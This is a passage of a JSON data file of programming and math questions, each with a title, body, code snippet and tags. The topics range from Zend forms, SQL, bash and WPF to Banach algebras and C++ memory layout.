$page->getContents(); $page->toString(); $page->extractText();\n...Help!!!! This is
driving me crazy!\n", "<?php\n$pdf = Zend_Pdf::load('example.pdf');\n$page = $pdf-
>page[0];\n", "php zend-framework zend-pdf pdftotext"], "2390570": ["Multiple PHP
dropdowns and getting the POSTed value from the array", "I have , within a foreach
, a dropdown:\n\nI need to be able to get the values from when the form is posted\
nI had assumed it was , etc. \nBut that doesn't work .\n", "`<select
name=\"position[]\">\n<option value=\"1st\">First</option>\n<option
value=\"2nd\">Second</option>\n<option value=\"3rd\">Third</option>\n</select>`\n",
"php html post drop-down-menu"], "596783": ["Universal separable Banach algebras",
"The well-known Banach-Mazur theorem says that $C([0, 1])$ is a universal separable
Banach space, in the sense that if $X$ is any separable Banach space then there is
a map $f : X \\to C([0, 1])$ which is both linear and isometric. Note that $C([0,
1])$ also has the structure of a Banach algebra. \nMy question is this: Is $C([0,
1])$ universal for separable commutative Banach algebras? Of course a separable
Banach algebra is a separable Banach space, so there is a linear isometry into
$C([0, 1])$, but I'm asking if that map can also be taken to preserve the
multiplication operation.\nIf $C([0, 1])$ is not universal for separable
commutative Banach algebras, does there exist such a universal object? I'm
interested mostly in ZFC results, but would also not mind hearing consistent
answers (especially if they are consistent with $\\neg CH$).\n", "", "functional-
analysis banach-spaces banach-algebras"], "5100295": ["zenity radiolist multi
column population from curl", "I have 3 columns of dynamic data to display in
zenity - true/false, text1, text2\nplease help me before I pull my hair out. Any
method I have tried is not successful. I have tried arrays, strings etc but can't
get it working. The following is the closest I've gotten, but the radiolist field
is always false regardless of input:\n\n", " for i in $(curl -s \"some http link
. . .\");\n do;\n dlist+=(\"$i\");\n done\n\n ans=$(zenity --list --
width 800 --height 500 --title \"title:\" --radiolist --separator=\"|\" --
column \"Select\" --column \"ID\" --column \"Description\" ${dlist[@]})\n", "bash
curl zenity"], "4787224": ["Why is monodroid/ android emulator so slow?", "I can't
believe how slow both of these things are especially seeing that the emulator is
from google and you would think they would all be about speed.\nFirst the emulator
takes like 30 seconds or more too boot up. Do any action(like moving to another
screen) is laggy.\nTrying to debug through VS 2010 and Monodroid is a nightmare. To
from line 10 to line 11 takes like 30 seconds. \nI tired using snapshot. I am using
android V 2.3.3 but nothing seems to help.\nI have windows 7 64bit edition.\nAnyone
else know how to speed things up a bit?\n", "", "android android-emulator
monodroid"], "944089": ["Using user-defined ADD_EXECUTABLE in CMake with KDevelop
4", "We have defined our own ADD_EXECUTABLE macro (TDS_ADD_EXECUTABLE) for our
cmake files which handles some nice internal functionality for us.\nThe problem is,
when I load up our project in KDevelop 4 (linux) while it finds and builds our
entire system, it does not add any of the executables to the Project Targets list
for configuring the launches. This makes it a real management nightmare to do any
work in KDevelop since we have to manually add all of our executables.\nIs there a
way to tell KDevelop our TDS_ADD_EXECUTABLE performs an ADD_EXECUTABLE... or
something like this? I was actually surprised it was unable to fathom this on it's
own since it's all scripted.\nAny help is appreciated, thank you!\n", "", "macros
cmake kdevelop"], "3643270": ["php mysql where clause using Date", "Can anyone help
me with the followig?\n$crDate = date(\"Y-m-d\");\n$sql=\"update callrecord set
crEndtime = Now() where crUsId = \".$crUsId.\"AND crDate = \".$crDate;\nwhat im
trying to do is update a table \"callrecord\" where the crDate is current date.
when i take the And part out, it works fine.\n$sql=\"update callrecord set
crEndtime = Now() where crUsId = \".$crUsId; // works fine\nbut i want to check
with current date too. any help??\n", "", "php mysql time where sql-update"],
"2208767": ["Zend_Form_Element fails when i addElements", "I have been having
trouble adding a hidden zend form element.\nwhen i invoke addElements the form
fails and prints the following error to the page.\nbut only when i try and add
$formContactID and $formCustomerID.\n\nFatal error: Call to a member function
getOrder() on a non-object in /home/coder123/public_html/wms2/library/Zend/Form.php
on line 3291\n\nMy code is as follows.\n\n", " private function buildForm()\n {\n
$Description = \"\";\n $FirstName = \"\";\n $LastName = \"\";\n $ContactNumber =
\"\";\n $Fax = \"\";\n $Position = \"\";\n $Default = \"\";\n $custAddressID
= \"\";\n $CustomerID = \"\";\n $Email = \"\";\n $ContactID = \"\";\n if($this-
>contactDetails != null)\n {\n $Description = $this-
>contactDetails['Description'];\n $CustomerID = $this-
>contactDetails['CustomerID'];\n $FirstName = $this-
>contactDetails['FirstName'];\n $LastName = $this->contactDetails['LastName'];\n
$ContactNumber = $this->contactDetails['ContactNumber'];\n $Position = $this-
>contactDetails['Position'];\n $Fax = $this->contactDetails['Fax'];\n $Email =
$this->contactDetails['Email'];\n $Default = $this->contactDetails['Default'];\n
$custAddressID = $this->contactDetails['custAddressID'];\n $ContactID = $this-
>contactDetails['custContactID'];\n }\n\n\n $formfirstname = new
Zend_Form_Element_Text('FirstName');\n $formfirstname->setValue($FirstName)-
>setLabel('First Name:')->setRequired();\n\n $formlastname = new
Zend_Form_Element_Text('LastName');\n $formlastname->setLabel('Last Name:')-
>setValue($LastName)->setRequired();\n\n $formPhone = new
Zend_Form_Element_Text('ContactNumber');\n $formPhone->setLabel('Phone Number:')-
>setValue($ContactNumber)->setRequired();\n\n $formFax = new
Zend_Form_Element_Text('FaxNumber');\n $formFax->setLabel('Fax Number:')-
>setValue($Fax);\n\n $FormPosition = new Zend_Form_Element_Text('Position');\n
$FormPosition->setLabel('Contacts Position:')->setValue($Position);\n\n
$FormDescription = new Zend_Form_Element_Text('Description');\n $FormDescription-
>setLabel('Short Description:')->setValue($Description)->setRequired();\n\n
$formEmail = new Zend_Form_Element_Text('Email');\n $formEmail->setLabel('Email
Address:')->setValue($Email);\n\n $FormDefault = new
Zend_Form_Element_Checkbox('Default');\n $FormDefault->setValue('Default')-
>setLabel('Set as defualt contact for this business:');\n\n if($Default ==
'Default')\n {\n $FormDefault->setChecked(true);\n }\n\n $formCustomerID = new
Zend_Form_Element_Hidden('customerID');\n $formCustomerID->setValue($customerID);\
n if($this->contactID != null)\n {\n $formContactID = new
Zend_Form_Element_Hidden('ContactID');\n $formContactID->setValue($this-
>contactID);\n }\n\n// FORM SELECT \n $formSelectAddress = new
Zend_Form_Element_Select('custAddress');\n $pos = 0;\n while($pos < count($this-
>customerAddressArray))\n {\n $formSelectAddress->addMultiOption($this-
>customerAddressArray[$pos]['custAddressID'], $this->customerAddressArray[$pos]
['Description']);\n $pos++;\n }\n $formSelectAddress->setValue(array($this-
>contactDetails['custAddressID']));\n $formSelectAddress->setRequired()-
>setLabel('Default Address For this Contact:');\n// END FORM SELECT\n\n $this-
>setMethod('post');\n $this->setName('FormCustomerEdit');\n\n $formSubmit = new
Zend_Form_Element_Submit('ContactSubmit');\n $formSubmit->setLabel('Save
Contact');\n\n $this->setName('CustomerContactForm');\n $this-
>setMethod('post');\n\n\n $this->addElements(array($FormDescription,
$formfirstname, $formlastname, \n $FormPosition, $formPhone, $formFax,
$FormDefault, \n $formEmail, $formSelectAddress, $formContactID,
$formCustomerID, $formSubmit));\n\n $this->addElements(array($formSubmit));\n\n }\
n", "zend-framework zend-form zend-form-element"], "627524": ["Thinking Sphinx
Search Box", "I'm trying to get Thinking Sphinx running on my site but I'm not sure
how to set up the search box and button for the index page. I have in my model:\n\
nIn my controller:\n\nAnd in my index.html.erb I installed the autocomplete plugin
and have:\n\nI just don't know how to link up my text box with Sphinx. Do I need to
create a button? Thanks for any help.\n", " define_index do\n indexes :name\n
indexes description\n where \"approved = 'true'\"\n end\n", "ruby-on-rails search
full-text-search thinking-sphinx"], "5563779": ["CCNET Exec using RoboCopy fails
even with <successExitCodes>", "So I have a CCNET project that successfully builds
until I include a RoboCopy exec task to do the deployment:\n\nAs you can see I have
included all possible exit codes listed here; http://ss64.com/nt/robocopy-
exit.html\nThe task executes successfully (the files get copied ok), the build
results show no errors for this task, but my build still fails!\n\nccnet.log info
doesn't show anything either;\n\nI'm all out of ideas.\n", "<exec>\n
<executable>C:\\Windows\\System32\\robocopy.exe</executable\n <buildArgs>D:\\
CCNETProjects\\$(projectname)\\Builds\\Latest_Build\\_PublishedWebsites\\$
(projectname) D:\\TEST_$(projectname) *.* /E /NP /XF *.config /XD
config</buildArgs>\n <buildTimeoutSeconds>60</buildTimeoutSeconds>\n
<successExitCodes>0,1,2,4,8,16</successExitCodes>\n</exec>\n", "cruisecontrol.net
robocopy"], "2811140": ["Combining Multiple jQuery Scripts", "I'm trying to create
a simple portfolio site for a friend of mine based around his drawings and
paintings. The layout is relatively simple but is proving to be very difficult to
implement. I have three jquery scripts on the page that each perform a specific
function. \n1) bgStretcher - Stretches a series of background images to fill a
user's window.\n2) collapse - Simple collapsable menu system\n3) galleryview -
Basic no frills slideshow gallery\nCurrently, bgstretcher and collapse are on one
page called nav.shtml (http://yungchoi.com/nav.shtml) and the gallery on
gallery.shtml(http://yungchoi.com/gallery.shtml). Seperatley they work fine, but
when I call the nav page via SSI (test.shtml), The code seems to run into problems
and becomes disabled.\nThe solutions I've found all lead to utilizing the
noConflict function in jquery (http://stackoverflow.com/questions/2656360/use-
multiple-jquery-and-jquery-ui-libraries), (http://hubpages.com/hub/How-to-use-
jQuery_noConflict), but everytime I've tried inserting it and changing my code,
everything gets messed up again. I've also organized each script's files into
separate folders and directories but that hasn't helped either. \nMy experience is
in graphic and web design, so my coding skills are not the greatest. I do know the
basics, but rewriting jquery code was not something I ever learned so I might not
be understanding how to correctly fix this problem. If someone could clearly and
easily explain what I would need to do to make these all work together, I'd
appreciate it greatly.\nThanks!\n", "", "javascript jquery html scripting ssi"],
"5027464": ["How do I get the index from the last occurence of a character in a
string sql?", "I'm using the following to find a city state in my database.\n\nThis
gets me the following type of results.\n\nI'm wanting to disregard the first set of
parathesis in cases like the 3rd example.\nI tried using REVERSE() but no luck with
it, perhaps I was using it incorrectly or maybe that isn't my solution. Can anyone
help out? Thanks!\n", " SELECT SUBSTRING(Location, PATINDEX( '%(%' , Location),
LEN(Location))\n FROM myTable\n", "sql string sql-server-2008 substring"],
"2741083": ["Resizing GridView columns after making it visible", "The setup:\
nListView with GridView that is initially hidden when the window is loaded, and
then made visible upon a certain user action.\nThe aim:\nBe able to set relative
width of GridView's columns.\nThe problem:\nWhat I need can be achieved either by
using a converter on the width (something similar to the answer here), or by adding
a Behavior on the ListView (see this solution).\nThe both approaches seem to be
valid - but only for the controls that are rendered from the early beginning.\nIn
my case, the ActualWidth is always 0 when the calculations are made, and these
calculations are not repeated when the ListView is made visible.\nSo, I guess, the
real question here is how to get the columns' Width to be re-evaluated when
ListView's ActualWidth gets greater than 0.\nThe solution would preferably be at
the XAML level, without involving the code-behind - but that will do too, if that's
the only alternative ;-)\nAny suggestions?\nP.S. Following Chris's question below,
here's a clarification on how the ListView is hidden/shown: it's a child of another
container control, hosted in a Grid column, and the width of that column is
manipulated by a trigger.\n\nI tried to apply a similar trigger to the ListView's
container itself (to manipulate its Visibility between Collapsed and Visible)
instead, but the problem with that is that the Column doesn't shrink from its
original 4* width, so I see the (empty) control when it's supposed to be hidden.\
n", "<ColumnDefinition>\n <ColumnDefinition.Style>\n <Style>\n
<Setter Property=\"ColumnDefinition.Width\" Value=\"4*\"/>\n
<Style.Triggers>\n <DataTrigger Binding=\"{Binding
Path=OpenItems.Count}\" Value=\"0\">\n <Setter
Property=\"ColumnDefinition.Width\" Value=\"0\"/>\n </DataTrigger>\n
</Style.Triggers>\n </Style>\n
</ColumnDefinition.Style>\n</ColumnDefinition>\n", "wpf listview gridview column-
width"], "966917": ["Minimum steps to display a table-view in Cocoa OSX", "Hi I am
trying to create a table-view programatically using a cocoa lisp bridge called
clozure CL. Now I doubt many people are familiar with this package so I will not
go into specifics of my code but I am getting some very strange errors when I try
to call addSubview to add my tableView to my window. I have initialized it using
InitWithFrame. I am wondering what are the minimum the steps required to
programatically setup and add a tableView to a window. I cannot use the interface
builder. \nAny links to code that shows how to this in objective c would be very
helpful I can do the conversions to lisp. \n", "", "objective-c cocoa osx lisp
tableview"], "3901315": ["Garbage Collection", "I am not able to understand few
things on the Garbage collection. \nFirstly, how is data allocated space ? i.e. on
stack or heap( As per my knowledge, all static or global variables are assigned
space on stack and local variables are assigned space on heap).\nSecond, GC runs
on data on stacks or heaps ? i.e a GC algorithm like Mark/Sweep would refer to data
on stack as root set right? And then map all the reachable variables on heap by
checking which variables on heap refer to the root set.\nWhat if a program does not
have a global variable? How does the algorithm work then?\nRegards,\ndarkie\n", "",
"language-agnostic garbage-collection computer-science"], "4995798": ["Scopes is
not missing constant Product?", "I want to use 'scope' in my project. \ni create a
folder under lib, see\n\nThe file 'product.rb' include some methods, like \n\nI use
it in my model 'product.rb'\n\nerror message:\n\n", "module Scopes::Product\n
#TODO: change this to array pairs so we preserve order?\n\n SCOPES = {\n #
Scopes for selecting products based on taxon\n :taxon => {\
n :taxons_name_eq => [:taxon_name],\n :in_taxons => [:taxon_names],\
n },\n # product selection based on name, or search\n :search => {\
n :in_name => [:words],\n :in_name_or_keywords => [:words],\
n :in_name_or_description => [:words],\n :with_ids => [:ids]\n },\
n...\n", "ruby ruby-on-rails-3 scope"], "3459265": ["textbox.CreateGraphics()
method doesnt work for autosizing C#", "I am trying to autosizing my textbox width
using Graphics, but there is a problem when I write this: Graphics g =
textbox1.CreateGraphics();\nthe problem says:\n\nSystem.Web.UI.WebControls.TextBox'
does not contain a definition for\n 'CreateGraphics' and no extension method
'CreateGraphics' accepting a\n first argument of type
'System.Web.UI.WebControls.TextBox' could be\n found (are you missing a using
directive or an assembly reference?)\n\nWhat is the problem? \nThank you\n", "",
"textbox autosize"], "906874": ["How to create a const boost matrix?", "How can I
create a const boost matrix?\nThe following did not work: \n\n", "const
boost::numeric::ublas::matrix<double> arrayM(1, 3) = { {1.0, 2.0, 3.0} };\n", "c++
boost matrix ublas"], "4965937": ["Invoking listselectionlistener of a JTable",
"After successfully adding a and having it register user action, I now need to
have a row preselected in the view during when the containing it is initialized
from a different class:\n\n", "ListSelectionListener", "java swing jtable"],
"2811141": ["InvalidOperationException with delete related objects", "I'm trying to
delete all \"Usergroup\"s that belongs to one \"User\" and then add
new \"Usergroup\"s.\n\nIt throws an exception if there are more than 1 usergroup
here:\n\nHow should I fix that?\n/M\n", " public void SaveUserUsergroups(int
userID, int[] UsergroupID)\n {\n\n User uo = _entities.Users.Where(x =>
x.UserID == userID).First();\n\n uo.Usergroups.Load();\n\n\n
foreach(Usergroup ug in uo.Usergroups)\n {\n\n
uo.Usergroups.Remove(ug);\n }\n\n\n int _currentUsergroupID;\n\n
for (int i = 0; i < UsergroupID.Count(); i++)\n {\n
_currentUsergroupID = UsergroupID[i];\n\n
uo.Usergroups.Add(_entities.Usergroups.Where(ug => ug.UsergroupID ==
_currentUsergroupID).First());\n }\n\n _entities.SaveChanges();\n\n
}\n", "entity-framework"], "2741082": ["Moving to Android from J2ME", "Coming from
programming are there any similarities that would make it easy to adapt to . Or is
completely different from the way of programming mobile apps. \n", "J2ME",
"android java-me mobile"], "5102031": ["Persisting date vales into mySql database
via Apache POI", "I am using Apache POI to read in an excel dataset and JPA to
persist into the database. This is working fine except for the fact i need to get a
set of date/time values correctly into the database using the same method (read in
with apache poi, then persist into the database). At the moment i am using
SimpleDateFormat which is not of any use really. We need to query this column so i
need to have to use mySQL dates ideally in the database.\nDataset example of
time/date column\n21/10/2012 13:20:00\nJava\n\nAny solutions to this and any advice
as to the best way to create this column in the mySQL database aswell(The column is
a varchar at present)?\nCheers\n", " Sheet sheet1 = wb.getSheetAt(0);\n\n
String dateTimeFormat = \"dd/MM/yyyy HH:mm:ss\";\n SimpleDateFormat
dateFormat = new SimpleDateFormat(dateTimeFormat);\n\n\n for (int i = 1; i
<= sheet1 .getLastRowNum(); i++) {\n\n row = sheet1 .getRow(i);\n
String sheet1Id = i+\"\";\n\n double excelDateTime =
row.getCell(0).getNumericCellValue();\n
Date javaDateTime=HSSFDateUtil.getJavaDate(excelDateTime,false);\n
String dateTime = dateFormat.format(javaDateTime);\n\n Table1 sheet1=new
Table1 (sheet1Id ,dateTime)\n addToDatabase(table1); \n\n }\n",
"java mysql date jpa apache-poi"], "4108967": ["How do I use ORDER BY/GROUP BY to
ignore some expression?", "I need to group together, say column X, ignoring what is
inside the bracket \n\nAs,\n\nHowever, if I use ORDER BY or GROUP BY, I always get
as below. \n\nCan anyone please suggest how can I overcome this scenerio. \
nThanks.\n", " X\n\naaabbbccc[0]aaabbbccc\naaabbbccc[15]aaabbbccc\
naaabbbccc[11]eeefffggg\naaabbbccc[10]eeefffggg\naaabbbccc[17]aaabbbccc\
naaabbbccc[19]eeefffggg\n", "mysql database group-by sql-order-by"], "3079543":
["Vertical headers in JTable?", "Is there a way to rotate 90\u00ba the column
headers of a JTable?\n", "", "java swing jtable"], "5191554": ["Cascade dynamic
rendering selectOneMenu doesn't work", "My problem I thougth is simple but I can't
find a clear solution.\nI have three selectOneMenu, and I want that the first one
is always rendered, the second one is rendered if the first one has some value
selected and the third one is rendered if the second has some value selected.\nThe
relation between the first one and the second works well, but doesn't work between
the second and the third.\nWhen I change the value for the first selectOneMenu the
second selectOneMenu is diplayed or hidden correctly.\nBut when I change the value
for the second nothing happened to the third selectOneMenu, like if the f:ajax
render isn't fired.\nBellow the jsf code:\n\nIs there any idea to achieve that.\
nMany thanks for your help\n", "<h:panelGrid columns=\"2\">\n <h:outputText
value=\"Type Paiement\" />\n <h:selectOneMenu\n
value=\"#{employeurBean.idTypePaiement}\"> \n <f:selectItem
itemValue=\"\" itemLabel=\"Choix typePaiement\" />\n <f:selectItems
value=\"#{typePaiementBean.typesPaiement}\" var=\"vtp\"\n
itemLabel=\"#{vtp.libelle}\" itemValue=\"#{vtp.idTypePaiement}\" />\n
<f:ajax event=\"change\" render=\"gmodp\" />\n </h:selectOneMenu>
\n</h:panelGrid>\n\n<h:panelGrid id=\"gmodp\">\n<h:panelGroup
rendered=\"#{employeurBean.idTypePaiement == 2}\">\n <h:outputText value=\"Mode
Paiement\" />\n <h:selectOneMenu\n
value=\"#{employeurBean.idModePaiement}\"> \n <f:selectItem
itemValue=\"\" itemLabel=\"Choix mode Paiement\" />\n <f:selectItems
value=\"#{modePaiementBean.modesPaiement}\" var=\"vmp\"\n
itemLabel=\"#{vmp.libelle}\" itemValue=\"#{vmp.idModePaiement}\" />\n
<f:ajax event=\"change\" render=\"grib\"/>\n </h:selectOneMenu>\n</h:panelGroup>
\n</h:panelGrid>\n\n<h:panelGrid id=\"grib\">\n<h:panelGroup
rendered=\"#{employeurBean.idModePaiement == 1}\">\n <h:outputText
value=\"Compte\" />\n <h:inputText value=\"#{employeurBean.compte}\">\n
</h:inputText>\n</h:panelGroup>\n</h:panelGrid> \n", "jsf-2"], "4078923": ["Is it
possible to write code for gnome and then build it to windows?", "I want to write a
database program and have it built for a windows machine at work. Is that possible
to do without much grinding? (so to speak)\n", "", "mysql windows ubuntu gnome
compatibility"], "5622483": ["Instancing Monoid for a Type", "I have a Type in
Haskell to make a Map have several values associated to a key.\nIf I compile the
following code:\n\nghci will throw:\n\nShould Mapa be a or a ?\nOr what's the
problem.\n", "type Mapa k v = Map k [v]\n\ninstance Monoid (Mapa k v) where\n --
mempty :: Mapa k v\n mempty = DM.empty\n --mappend :: Mapa k v -> Mapa k v ->
Mapa k v\n mappend a b = DM.unionWith (++) a b\n", "haskell data ghci monoids"],
"439218": ["WCF Dataservice - modify object before returning results?", "I am using
WCF data services and I have a few fields/properties that I want to \"blank out\"
(set value to empty string or null) before sending back to client.\nFor example:
User table has password column which I do not want to pass the value to the client.
This is one example, there are other such columns in the app that the value should
be excluded for security/privacy reasons.\nSorry for such a basic question, I'm new
to WCF dataservices and have not found any promising leads yet. I've tried
QueryInterceptors but no luck.\nCan someone point me in the right direction?\
nThanks\n", "", "c# entity-framework-4 wcf-data-services"], "627527": ["c++ class
instance memory layout once again", "I know that this question has been asked
previously, but before you give me a minus and report repeated question, ponder a
while on this:\nIn all previous answers everybody says that object memory layout is
compiler dependent. How is it then, that shared libraries (*.dll, *.so) can export
and import c++ classes, and they can definitely be combined even if coming from
different compilers? Consider a DirectX application written under mingw. DirectX
was compiled using MSVC++, so how do those environments agree on memory layout? I
know that DirectX relies heavily on C++ classes and polymorphism.\nAsking
differently: let's say that I have a chosen architecture (eg. Windows, intel x86)
and I am trying to write a new compiler. How do I know how to access class instance
(vtable, member fields) provided by .dll lib compiled by another compiler? Or is it
simply like that: M$ has written VC++, and since then it is unwritten standard, and
every other compiler does it the same \"for compatibility reasons\"? And what about
linux or other OS-es?\nEDIT:\nOK I admit, the example with DirectX was bad because
of COM specification...\nAnother example: QT. I am using QT with mingw, but I know
there are also available MSVC versions. I don't know if the difference is only in
headers, or if shared libs (dll-s) are also different. If they are, does it mean
that I have to distribute my app with qt libs included, so if anybody happens to
have ones for a different compiler it will not get mixed-up? (Nice memory and code
sharing then, right?). Or are they the same and there is some unwritten law about
it anyway?\nEDIT2:\nI have installed a different qt version (msvc 2010) just to see
what is and isn't shared. Seems that shared (are they really shared then) libraries
are different. Seems that I really have to provide qt-libs with my app then... And
this is no small thing (eg. QtGui 8-9MB). What about other, smaller libs, whose
authors weren't so kind to provide versions for other compilers? Does it mean that
I am stuck with their original compiler? What if I want to use two different libs
that were compiled by different compilers?\n", "", "c++ memory layout shared-
libraries"], "4444644": ["What are 'damaged files' on external hard drive (HFS
format for OS X)?", "I have an external HD formatted to default HFS (Mac OS
Extended - Journaled) and very once and a while I get a folder called DamagedFiles
in the root of the volume. The folder contains a collection of links to files on
the drive. In general the files seem fine as I am for example able to open the
images or text files without a problem.\nIs this serious? What can I do to fix this
problem? Any advice would be great as I couldn't find anything on here or via
Google that addressed this problem in particular.\nMany thanks.\n", "", "osx
filesystems hfs journaled"], "2741080": ["javascript delete from array based on
another array with same object and values", "I have an array of objects (all the
same object type). I have another array of the same object type in which I want to
use to tell me which objects to delete from the first array. Is there an easy way
to do this besides looping through all properties and comparing them to find the
elements in the first array that 100% match the elements in the second array and
then deleting from the first array?\nI'm basically doing a jQuery.grep() on an
array of objects and the resulting array from this grep I want to delete from the
array I passed into it.\n", "", "javascript arrays"], "1100552": ["Query with SUM
using SubSonic", "I'm new to Subsonic, I want to ask how to query with SUM?\nI know
how to query for where condition such as below:\n\nbut how to how to query with
SUM?\nThanks!\nHalim \n", "Query qryCurOpcode = Station.CreateQuery()\
n .WHERE(\"PRODLINE=PIECERATE_prodline\")\n .AND(\"STATIONID=STNID\")\
n .AND(\"SHIFT=PIECERATE_shift\");\n\nIDataReader rdrCurOpcode =
qryCurOpcode.ExecuteReader();\n\nwhile (rdrCurOpcode.Read())\n{\n
PIECERATE_CurOpcode = rdrCurOpcode[Station.Columns.Curopcode].ToString();\n}\n",
"c# query subsonic sum"], "1754264": ["Linux network devices", "I read that Linux
have 3 types of network devices - \"system\", \"tap\" and \"internal\", but I can't
find any information about their differences.\nCould you explain it to me or give
me a link to read about?\n", "", "linux networking device"], "5625706": ["Adding an
html action link to an Entity Framework Code First AddModelError string", "I am
pretty new to programming so sorry if I'm being stupid, but I am writing an ASP.Net
MVC3 application in which, if a particular exception is caught a message is
displayed because of a composite key violation. \nI can catch the exception but in
the message I want to add an action link to edit the data that has failed the key
violation test.\nI can't work out how to use a link in following example. How can I
make \"HERE\" an action link?\n\nThanks...\n", " catch (DataException)\n
{\n if (duplicateKeyAttempt == true)\n {\n
ModelState.AddModelError(\"\", \"A delivery charge already exists for this
combination of customer type and delivery method. \" +\
n \"Please check the information you have provided, this
selection cannot be saved. \" +\n
\"If you want to edit the existing database entry, click
HERE\");\n }\n", "c# asp.net-mvc-3 entity-framework-4 code-first
html.actionlink"], "1271405": ["Problem running MVC3 app in IIS 7", "I am having a
problem getting a MVC 3 project running in IIS7 on a computer running Windows 7
Home-64 bit. Here is what I did.\n\nInstalled IIS 7.\nAccessed the server and got
the IIS welcome page.\nCreated a directory named d:\\MySite and copied the MVC
application to it. (The MVC app is just the standard app that is created when you
create a new MVC3 project in visual studio. It just displays a home page and an
account logon page. It runs fine inside the Visual Studio development server and I
also copied it out to my hosting site and it works fine there)\nStarted IIS
management console.\nStopped the default site.\nAdded a new site named \"MySite\"
with a physical directory of \"d:\\Mysite\"\nChanged the application pool named
MySite to use .Net Framework 4.0, Integrated pipeline\n\nWhen I access the site in
the browser I get a list of the files in the d:\\MySite directory. It is as if IIS
is not recognizing the contents of d:\\MySite as an MVC application.\nWhat do I
need to do to resolve this? \n", "", "iis7.5 asp.net-mvc"], "2718548": ["Get
private SecKeyRef from DER file?", "In my iPhone project I have used this solution
to encrypt data with DER encoded certificate, which was generated by openssl
commands like this:\n\nAnd now I want to decrypt data using private key file. How
can I get the private SecKeyRef instance from DER encoded private key file? \n",
"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout privateKey.pem -out
cert.pem\nopenssl x509 -outform der -in cert.pem -out cert.der\nopenssl rsa -in
privateKey.pem -outform DER -out privateKey.der\n", "iphone objective-c security
decrypt privatekey"], "1538663": ["matrix \"flag\" clearing", "I have a large
matrix that is populated with a list of people, and a 1 or 0 as to whether or not
they have a particular flag. A person can have one or more flags, or none at all.
For example:\n$$\n\\begin{matrix}\nPerson & Flag1 & Flag2 & Flag3 \\\\\nJohn & 1 &
0 & 0\\\\\nMary & 1 & 0 & 1\\\\\nLuke & 0 & 1 & 0\\\\\nPaul & 0 & 0 & 0\\\\\n\\
end{matrix}\n$$\nI can clear only one flag at a time (i.e. set a column to 0 for
the whole population), and each requires about the same amount of work. My goal is
to clean (a clean person has no flags) a certain percentage, p, of the population.
How can I (besides trial and error) figure out the most efficient flag clearing
strategy?\nEDIT: My second thought to this was to think of the problem from the
opposite side, or \"how many flags can I keep and still maintain a p clean
percentage\". For this, I'd iterate through combinations of the columns, and see
which combinations left me with clean / total >= p, and choosing the combination
with the largest amount of columns.\nEDIT: Can someone prove that there is an
efficient solution? My gut tells me it could definitely be np-hard but I can't find
a way to prove either a reduction or a poly-time algorithm.\n", "", "matrices
algorithms asymptotics"], "5160051": ["Cannot retrieve name from Users database
(mysql) using PHP", "I'm trying to display a to my blog when I log in back. I'm
using php to access the database, get the name and last name of the username
currently in , and then print it back in the index.\nSo the function to query the
database is:\n\nThen the part of the html where it calls the function above:\n\nThe
output of the above codes is:\n\nvar_dump($real) gives:\n\nvar_dump($real) after
changing to mysql_fectch_assoc:\n\n\nFixed: The error was not using the single
quotes ' {$username} '\n\nBy changing them, it worked like a charm, cheers to all!\
n", "\"Welcome back, <name>.\"", "php mysql query"], "627528": ["IOS What excutes
before main()?", "\nThis is the relative code:\n\nHi guys, This my debug message,I
used zxing framework in my APP,But I found before main() method excute, some other
code excuted already. Why? generally speaking, what excutes before main()?\nWhat
does this program mean?\nAny tips will be appreciated.\n", "objc[1655]: Object
0x2314e0 of class __NSCFString autoreleased with no\npool in place - just leaking -
break on objc_autoreleaseNoPool() to\ndebug\n\nobjc[1655]: Object 0x2315e0 of class
NSPathStore2 autoreleased with\nno pool in place - just leaking - break on
objc_autoreleaseNoPool() to\ndebug\n\nobjc[1655]: Object 0x2316b0 of class
__NSCFData autoreleased with no\npool in place - just leaking - break on
objc_autoreleaseNoPool() to\ndebug\n\nFile:MultiFormatReader.mm Method:+
[MultiFormatReader load] --\n\nobjc[1655]: Object 0x2317e0 of class __NSCFString
autoreleased with\nno pool in place - just leaking - break on
objc_autoreleaseNoPool()\nto debug\n\nobjc[1655]: Object 0x231800 of class
__NSCFData autoreleased with no\npool in place - just leaking\n- break on
objc_autoreleaseNoPool() to debug\n\n..++++++++\n\nFile:main.mm Method:main --
mark..\n\nFile:BarcodesAppDelegate.m Method:-[BarcodesAppDelegate\
napplication:didFinishLaunchingWithOptions:] -\nFile:BarcodesAppDelegate.m
Method:-[BarcodesAppDelegate\napplication:didFinishLaunchingWithOptions:] -\n",
"ios"], "3985871": ["how to activate context menu for listview item not for Column
Headers", "I am having my Listview as follows\n\nI have written a code to show on
clicking the but it is showing the on too. I need to display only when user
clicks on of can any one help me\nThis is my code I written at present\n\n", "
Header1 Header2 Header3\n Item1 Item2 Item3\n Item1
Item2 Item3\n Item1 Item2 Item3\n", "c# winforms listview
contextmenu"], "3525442": ["Ruby - Search/Compare Excel workbook for specific term
and append found results to csv?", "Okay so I've been messing around with Ruby
quite a bit but am still fairly new at it. I am running into a problem with my
current program. What I want it to do is take a CSV file which contains a list of
terms, I then take the csv file and create an array of those terms. Once I have
those terms in an array I want to search an Excel workbook and find all occurances
of that term...in all sheets. If a term is found it will be appended to a csv file
with the sheet name and cell location it is found at. I think I have a fairly good
start at it. \nEDIT: I am no longer recieving any errors. It just simply recreates
the given file. It does not seem to be dropping into the workbook and doing the
compares? Any ideas?\nEDIT 2: Used print statements it is something wrong with my
if strings are equals condition.\nEDIT 3: I isololated the issue to my compare.
When I use the variable it gets the term as and then trys to compare it to a
string which will always be false...\nMy code is below:\n\n", "term", "ruby excel
search csv comparison"], "2399408": ["codeigniter returning object", "I am
selecting from database and data successfully coming back. I am just not sure how
to access element of the array such as username or name or etc. This is the
output:\n\nArray ( [0] => stdClass Object ( [id] => 9 [fullname] => \u00d8\u00ae\
u00d8\u00a7\u00d9\u201e\u00d8\u00af\n \u00d8\u00a7\u00d9\u201e\u00d8\u00ba\u00d8\
u00a7\u00d9\u2026\u00d8\u00af\u00d9\u0160 [membership] => free [username] => kkkkk\
n [password] => 16d7a4fca7442dda3ad93c9a726597e4 [email] =>\n [email protected]
[about] => [city] => riyadh [profilepic] =>\n
/home2/sdds/public_html/uploads/Red_velvet_cupcakes_with_roses.jpgRed_velvet_cupcak
es_with_roses.jpg\n [mobile] => [telephone] => [address] => [gallery_link] => ) )\
n\nand this is the code in the model returning the above:\n\nSo what to do here?
